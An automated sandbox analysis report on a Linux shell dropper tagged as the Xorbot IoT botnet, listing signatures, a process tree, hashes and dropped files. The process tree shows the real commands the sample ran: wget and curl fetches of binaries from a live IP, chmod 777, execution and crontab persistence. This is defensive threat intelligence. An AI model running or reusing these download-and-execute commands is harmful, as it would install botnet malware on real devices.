Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    17/02/2025, 18:33

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250217-w67fjs1pct
  • SHA256 315887d1c87787f09166251b18b739fd4f8cc3a21cb70bbebe57cd830fea84fc
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 2 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1685) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 3 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 8 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:643
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:644
      • /usr/bin/wget
        wget http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Writes file to tmp directory
        PID:646
      • /usr/bin/curl
        curl -O http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Checks CPU configuration
        • Writes file to tmp directory
        PID:683
      • /bin/busybox
        /bin/busybox wget http://37.44.238.88/bins/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • Writes file to tmp directory
        PID:723
      • /bin/chmod
        chmod 777 fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
        • File and Directory Permissions Modification
        PID:735
      • /tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        ./fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
        2⤵
          PID:736
        • /bin/rm
          rm fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
            2⤵
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
            2⤵
            • Checks CPU configuration
            • Writes file to tmp directory
            PID:756
          • /bin/busybox
            /bin/busybox wget http://37.44.238.88/bins/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
            2⤵
            • Writes file to tmp directory
            PID:758
          • /bin/chmod
            chmod 777 sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
            2⤵
            • File and Directory Permissions Modification
            PID:760
          • /tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
            ./sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:761
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:763
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:764
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:765
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:766
                • /bin/rm
                  rm sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
                  2⤵
                    PID:768
                  • /usr/bin/wget
                    wget http://37.44.238.88/bins/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
                    2⤵
                    • Writes file to tmp directory
                    PID:771
                  • /usr/bin/curl
                    curl -O http://37.44.238.88/bins/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
                    2⤵
                    • Checks CPU configuration
                    • Writes file to tmp directory
                    PID:772

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN

                      • Path /tmp/9hamlBao7Oi2trQZgP4ySbiojwl7gIZrkN
                      • Size 12KB
                      • SHA256 844ef16679561ccf14b1bc88c51f5d5cdfff381ca5dbd9b07a625adb2df2eda6
                      • MD5 SHA1 SHA512 SSDEEP

                      fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY

                      • Path /tmp/fRJBnaGZfrfrIWJNm5b35T5MBxXTcsnWnY
                      • Size 112KB
                      • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                      • MD5 SHA1 SHA512 SSDEEP

                      sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv

                      • Path /tmp/sPdEFoliYoxvsc8i52vTfbDmtim98J5SQv
                      • Size 119KB
                      • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                      • MD5 SHA1 SHA512 SSDEEP

                      tmp.L2LaLy

                      • Path /var/spool/cron/crontabs/tmp.L2LaLy
                      • Size 210B
                      • SHA256 ce00b7677b3e74fbdc1509dea7a6547799489fbbca838e01b19a649bdc76fbfb
                      • MD5 SHA1 SHA512